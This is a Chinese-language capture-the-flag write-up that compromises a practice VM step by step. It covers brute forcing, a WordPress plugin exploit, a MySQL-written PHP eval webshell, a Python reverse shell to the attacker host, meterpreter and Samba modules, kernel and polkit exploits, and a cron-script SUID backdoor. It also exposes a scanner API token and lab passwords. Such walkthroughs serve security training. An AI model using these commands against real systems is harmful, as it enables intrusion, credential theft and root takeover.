前言
这个靶场令我收获颇深,因为这里利用到的一些手法已经算是实战的技术,同时这里使用了多种方法getshell,getsehll之后又展示了多中方法提权,更多的开拓了我们的思维。
简介
kali攻击机:192.168.1.12
靶机:192.168.1.24
信息收集
0x00 主机发现
arp-scan -l
0x01 端口探测
nmap -sV -p- -A -T5 192.168.1.24
这里有多个高危端口可以利用,小编会在接下来的操作一一解答。
20/tcp closed ftp-data
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp open domain dnsmasq 2.75
80/tcp open http PHP cli server 5.5 or later
123/tcp closed ntp
137/tcp closed netbios-ns
138/tcp closed netbios-dgm
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
666/tcp open doom?
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
12380/tcp open http Apache httpd 2.4.18 ((Ubuntu))
0x02 信息收集-1
通过上面扫面到的端口,我们可以看到一些高危端口,以及一些未授权服务,nmap扫描直接暴露出了ftp是属于未授权登入,我们登入直接看里面信息。
ftp 192.168.1.24
账号:Anonymous 没有密码
get note 将文件下载到本地
里面有一个文件,我们直接下载到本地进行分析
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
有用的信息并不多,发现两个用户名
Elly
John
0x03 信息收集-2
像这种没有找到东西的情况下,我们可以使用工具帮助我们信息收集
enum4linux:enum4linux是Kali Linux自带的一款信息收集工具。
它可以收集Windows系统的大量信息,如用户名列表、主机列表、
共享列表、密码策略信息、工作组和成员信息、主机信息、打印机信息等等
enum4linux -a ip #做所有简单枚举(-U -S -G -P -r -o -n -i),
如果您没有提供任何其他选项,则启用此选项
enum4linux -l ip #通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DN)
enum4linux -o ip #获取操作系统信息
enum4linux -r ip #通过RID循环枚举用户
enum4linux -a 192.168.1.24
发现有两个共享文件和大量用户名,我们收集用户名,放入一个文件夹中。
S-1-22-1-1000 Unix User\peter (Local User)
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)
vi user.txt
cat user.txt | cut -d '\' -f2 | cut -d ' ' -f1 > user.txt
利用cut命令对数据进行整理,提取我们需要的部分
0x04 漏洞利用-1
使用hydra进行爆破,成功爆破出一组ssh的账号密码以及一组ftp的账号密码。
hydra -L user.txt -P user.txt 192.168.1.24 ssh
[22][ssh] host: 192.168.1.24 login: SHayslett password: SHayslett
hydra -L user.txt -P user.txt 192.168.1.24 ftp
[21][ftp] host: 192.168.1.24 login: SHayslett password: SHayslett
进入ssh后,接下来就可以进去直接提权啦~~~
ftp里面并没有发现什么有用的信息,不过还是可以进去看看的,这里小编就不演示了,有兴趣的小伙伴可以进去玩玩~~
这里先不展示了,我们后面统一提权。
0x05 信息收集-3
刚刚展示完21,22端口,接下来看看80端口
发现80端口啥也没有,对他进行目录爆破也没发现什么可以利用的东西,我们转眼望去,发现还有一个http服务,12380端口。
他是存在东西的,我们现在使用工具对网站进行分析
nikto -h http://192.168.1.24:12380/
发现该网站启用了ssl协议,并且开启找到了两个目录路径
admin112233
blogblog
发现一个站,这个站非常熟悉有没有,没错就是我们的wordpress
https://192.168.1.24:12380/blogblog/
时候我们不用紧张,如果我们对站不熟悉的话,我们这里可以用到的方法很多,我们可以直接将这个地址丢到awvs进行扫描,或者使用wapcan去进行扫描,这里小编直接使用wpscan扫描
wpscan --url https://192.168.1.24:12380/blogblog/ -e u --api-token rXPAHHYlLrF3xr50aaaFKWdIsNckML8Oqhr7sCpdJqQ --disable-tls-checks
--disable-tls-checks 正常情况下wpscan只能扫描http,加这个命令可以让它扫描https
--api-token 使用接口,需要我们登入wpscan官网注册
-e 爆破用户名
-o 输出文件
-t 最大线程
-P 密码本
-U 用户本
注意:没注册的小伙伴可以直接如下访问,会有报错让我们去官网注册。
wpscan --url https://192.168.1.24:12380/blogblog/ --disable-tls-checks
我们发现很多有用的信息,包括漏洞
https://192.168.1.24:12380/blogblog/wp-login.php?action=register
https://192.168.1.24:12380/blogblog/wp-content/uploads/
这些漏洞不会利用下面会给出连接让我们去看我们可以直接去利用
我们现在访问刚刚收集的两个网站地址。
0x06 漏洞利用-2
https://192.168.1.24:12380/blogblog/wp-content/uploads/
我们点进去
Parent Directory -> plugins -> advanced-video-embed-embed-videos-or-playlists/
https://192.168.1.24:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/
发现这里有问题,谷歌搜索,
wordpress advanced video exploit
发现这里有个漏洞可以利用,直接返回数据库的账号密码。
我们直接进kali搜索
searchsploit 39646
locate php/webapps/39646.py
cp /usr/share/exploitdb/exploits/php/webapps/39646.py .
vi 39646.py
python 39646.py
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
https://192.168.1.24:12380/blogblog/
如下修改一下配置,因为原本的poc是只能用于http,我们这里使用的https,所以需要对poc进行一下修改。
修改完之后,直接运行poc,然后我们去访问上传地址发现多了一个文件
https://192.168.1.24:12380/blogblog/wp-content/uploads/
我们下载到本地
wget https://192.168.1.24:12380/blogblog/wp-content/uploads/573090841.jpeg --no-check-certificate
file 573090841.jpeg
然后对文件进行分析,发现是一个php文件,打开看一下ls
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'plbkac');
账号:root 密码:plbkac
mysql -uroot -pplbkac -h 192.168.1.24
show databases;
use wordpress
show tables;
desc wp_users;
select user_login,user_pass from wp_users;
这里我们直接跳到结果,过程小伙伴们自己尝试哈
我们发现这个账号密码是通过加密的。我们可以复制出来整理
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| John | $P$B7889EMq/erHIuZapMB8GEizebcIy9. |
| Elly | $P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0 |
| Peter | $P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0 |
| barry | $P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0 |
| heather | $P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10 |
| garry | $P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1 |
| harry | $P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0 |
| scott | $P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1 |
| kathy | $P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0 |
| tim | $P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0 |
| ZOE | $P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1 |
| Dave | $P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy. |
| Simon | $P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0 |
| Abby | $P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs. |
| Vicki | $P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131 |
| Pam | $P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0 |
+------------+------------------------------------+
vi sql.txt
awk -F'|' '{print $3}' sql.txt > sql1.txt 利用正则选出我们需要的部分
hash-identifier
$P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0
任意用一个密码去看这是什么加密
使用md5解密
john --wordlist=/usr/share/wordlists/rockyou.txt sql1.txt
cd ~/.john
vi john.pot
经过小编尝试,好像只有一组密码能登入进去
账号:john
密码:incorrect
找到wordpress的后台
https://192.168.1.24:12380/blogblog/wp-login.php
进入后台,之后对网站进行信息收集,发现文件上传点
Plugins-> add New ->upload Plugin :存在上传文件
locate php-reverse-shell.php
cp /usr/share/webshells/php/php-reverse-shell.php .
下载默认的php木马到本地
vi php-reverse-shell.php
nc -vlp 1234 kali监听
监听后去点击上传的文件:https://192.168.1.24:12380/blogblog/wp-content/uploads/
只需要修改一处反弹地址,点击文件后监听成功。
监听成功后可以进行提权,提权后面统一讲解。
0x07 漏洞利用-3
前面发现的部分大都相同,先生成文件,将文件通过后台上传,然后使用密码连接
weevely generate passwd dayu.php 生成php文件
weevely https://192.168.1.24:12380/blogblog/wp-content/uploads/dayu.php passwd
连接
0x08漏洞利用-4
前面几乎差不多,就是利用的点不同,这里就不截图了,方法和3一样
webacoo -g -o test.php
webacoo -t -u https://192.168.1.24:12380/blogblog/wp-content/uploads/test.php
0x09 漏洞利用-5
使用msf生成php脚本,然后监听,反弹shell
//生成webshell
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.12 LPORT=4455 -f raw > ms.php
//监听
msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set LHOST 192.168.1.12
set LPORT 4455
run
0x10 漏洞利用-6
我们上面有进入一个数据库中,发现数据库存在写入权限。使用msyql数据库写入脚本
mysql -uroot -pplbkac -h 192.168.1.24
select ‘<?php eval($_POST["cmd"]);?>’ into file '/var/www/https/blogblog/wp-content/uploads/shell.php';
木马写入成功,直接执行命令
https://192.168.1.24:12380/blogblog/wp-content/uploads/shell.php?cmd=id
nc -vlp 6677 kali监听
https://192.168.1.24:12380/blogblog/wp-content/uploads/shell.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.12",6677));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
反弹shell
0x11 漏洞利用-7
这种方法最好用,就是我们还记得他开放着139端口,这个端口是一个高危端口,它是永痕之蓝的常用端口之一。我们现在使用msf直接获取他的root权限。
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
msfconsole
search Samba ---符合2017年的就几个
use exploit/linux/samba/is_known_pipename
set rhosts 192.168.1.24
set rport 139
run
提权
0x12 提权-1-内核提权
上述我们已经在0x10中获取到了root权限那个我们可以算是一种提权,直接通过smb的永恒之蓝获取用户的root权限,所以这个漏洞在实战中也是很危险的。
接下来我们了解一下内核提权,任意进入一个shell,就是我们上面漏洞利用了那么多次得到的shell。我这里使用的是(0x05 漏洞利用-2)中的shell,忘记了的可以去看看上面的内容。
uname -a 查看系统版本内核
searchsploit Linux Kernel 4.4.x 根据版本内核找到可以利用的exp
cp /usr/share/exploitdb/exploits/linux/local/39772.txt . 将exp下载到本地
我们看内容发现利用不了,只是给了我们方法
我们接下来去网上去寻找exp,在github上找到了
exp下载地址:
https://github.com/p4sschen/ubuntu16-39772.zip-exp.git
解压之后有个39772.zip文件,我们将39772.zip下载到靶机中去
通过python开通服务
kali:
python -m http.server 8001
靶机:
cd /tmp
wget http://192.168.1.12:8001/39772.zip
unzip 39772.zip 解压
cd 39772 进入文件夹
tar xvf exploit.tar 解压其中一个文件
cd ebpf_mapfd_doubleput_exploit 是存在compile.sh文件的
chmod +x compile.sh 给文件权限
./compile.sh 生成一个文件doubleput
ls
./doubleput 执行文件,等待一会
成功获取root权限
0x13 提权-2-内核提权2
我们上面使用的是linux内核提权,现在我们使用ubantu内核提权
exp下载地址:
https://github.com/arthepsy/CVE-2021-4034.git
先下载到本地,然后通过python开通服务,下载到本地,跟上面操作一样,就不继续操作了,直接在展示
wget http://192.168.1.12:8002/cve-2021-4034poc.c
gcc cve-2021-4034-poc.c -o test
chmod +x test
./test
直接获取root权限
0x14 提权-3-sudo提权
我们这里可以使用内网常用的扫描脚本,上传到内网,进行信息收集,发现内网存在多处可以利用的信息
这里我们可以发现peter这个用户存在sudo权限,我们继续信息收集
cd /home 进入用户目录
grep -rn "ssh" 枚举出所有含有ssh的信息
JKanode/.bash_history:6:sshpass -p thisimypassword ssh JKanode@localhost
JKanode/.bash_history:7:apt-get install sshpass
JKanode/.bash_history:8:sshpass -p JZQuyIN5 peter@localhost
账号:JKanode 密码:thisimypassword
账号:peter 密码:JZQuyIN5
这个时候我们可以直接验证了
ssh [email protected]
我们发现直接登入会显示zsh的shell,
这个时候我们需要使用bash的shell,这样顺手一点
ssh [email protected] -t '/bin/bash'
sudo -l
sudo su
获得root权限
0x15 提权-4-计划写入文件提权
一般我们找不到内核提权或者一些简单的提权方式的时候,我们可以写入定时任务,我们找定时任务的时候还得找权限高的定时任务,不然反弹到了权限也没什么用。
find / -name cronlog 2>/dev/null ---查看计划任务日志信息
find / -writable 2>/dev/null ---枚举所有可写入权限的文件
find / -perm -o+w -type f 2> /dev/null | grep /proc -v ---枚举
find / -name logrotate* 2>/dev/null ----查找和logrotate相关的文件信息
cat /etc/cron.d/logrotate
*/5 * * * * root /usr/local/sbin/cron-logrotate.sh
每五分钟运行一次cron-logrotate.sh!
插入代码:
echo "cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit;chmod root:root /tmp/exploit" >> /usr/local/sbin/cron-logrotate.sh
cat /usr/local/sbin/cron-logrotate.sh
等待五分钟.......
/tmp/exploit -p
获得root权限!!!
总结
我们这里总共用到了7种方法获取权限,5钟方式获取root权限,很大程度开阔了哦我们的思路,如果有别的方法的小伙伴欢迎提出建议哦。
版权归原作者 心"元"意“码” 所有, 如有侵权,请联系我们删除。